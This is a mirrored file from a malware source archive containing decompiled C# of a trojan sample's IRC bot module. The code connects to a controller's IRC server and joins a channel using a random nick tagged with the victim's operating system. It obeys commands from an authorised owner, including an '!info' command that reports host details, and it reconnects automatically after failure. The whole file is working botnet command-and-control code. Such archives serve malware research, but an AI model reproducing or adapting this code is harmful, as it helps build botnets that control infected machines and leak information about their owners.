mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 03:16:11 +00:00
f2ac1ece55
add
116 lines
3.4 KiB
C#
116 lines
3.4 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: Refx.clsIRC
|
|
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 5DD4C44F-C748-4813-B398-D3DE520CF41A
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe
|
|
|
|
using Microsoft.VisualBasic;
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|
using System;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Net.Sockets;
|
|
using System.Threading;
|
|
|
|
namespace Refx
|
|
{
|
|
public class clsIRC
|
|
{
|
|
public static string SERVER = "";
|
|
public static int PORT = 0;
|
|
public static string NICK = "";
|
|
public static string USER = "";
|
|
public static string CHANNEL = "";
|
|
public static string CH_PASS = "";
|
|
public static StreamWriter Writer;
|
|
|
|
[DebuggerNonUserCode]
|
|
public clsIRC()
|
|
{
|
|
}
|
|
|
|
public void SetIRCConfig(string Host, int server_Port, string bot_Channel, string Cpass = "")
|
|
{
|
|
string str = modFunction.GenerateString(5, 0, 1);
|
|
clsIRC.SERVER = Host;
|
|
clsIRC.PORT = server_Port;
|
|
clsIRC.NICK = modFunction.GenerateString(5, 0, 1) + "[" + modGetInfo.GetOperatingSystem() + "]";
|
|
clsIRC.CHANNEL = bot_Channel;
|
|
clsIRC.CH_PASS = Cpass;
|
|
clsIRC.USER = "USER " + str + " " + str + " * :" + str;
|
|
}
|
|
|
|
public void StartIRC()
|
|
{
|
|
string target = "";
|
|
try
|
|
{
|
|
TcpClient tcpClient = new TcpClient(clsIRC.SERVER, clsIRC.PORT);
|
|
NetworkStream stream = tcpClient.GetStream();
|
|
StreamReader streamReader = new StreamReader((Stream) stream);
|
|
clsIRC.Writer = new StreamWriter((Stream) stream);
|
|
this.SendData(clsIRC.USER + "\r\n");
|
|
this.SendData("NICK " + clsIRC.NICK + "\r\n");
|
|
while (true)
|
|
{
|
|
while (clsIRC.InlineAssignHelper<string>(ref target, streamReader.ReadLine()) != null)
|
|
{
|
|
if (modFunction.JoinDelayTest(target))
|
|
{
|
|
if (Strings.Len(clsIRC.CH_PASS) > 0)
|
|
this.SendData("JOIN " + clsIRC.CHANNEL + " " + clsIRC.CH_PASS);
|
|
else
|
|
this.SendData("JOIN " + clsIRC.CHANNEL);
|
|
new PingSender().Start();
|
|
}
|
|
if (modFunction.WildcardCompare(modAuth.OWNER, target))
|
|
{
|
|
if (target.EndsWith("!info"))
|
|
{
|
|
try
|
|
{
|
|
this.SendMSG("REFX - OS " + modGetInfo.GetOperatingSystem());
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
}
|
|
}
|
|
clsIRC.Writer.Close();
|
|
streamReader.Close();
|
|
tcpClient.Close();
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
Thread.Sleep(5000);
|
|
this.StartIRC();
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
|
|
private void SendData(string Data)
|
|
{
|
|
clsIRC.Writer.WriteLine(Data + "\r\n");
|
|
clsIRC.Writer.Flush();
|
|
modFunction.Addlog("OUT: " + Data);
|
|
}
|
|
|
|
private void SendMSG(string msg)
|
|
{
|
|
clsIRC.Writer.WriteLine("PRIVMSG " + clsIRC.CHANNEL + " :" + msg);
|
|
clsIRC.Writer.Flush();
|
|
}
|
|
|
|
private static T InlineAssignHelper<T>(ref T target, T value)
|
|
{
|
|
target = value;
|
|
return value;
|
|
}
|
|
}
|
|
}
|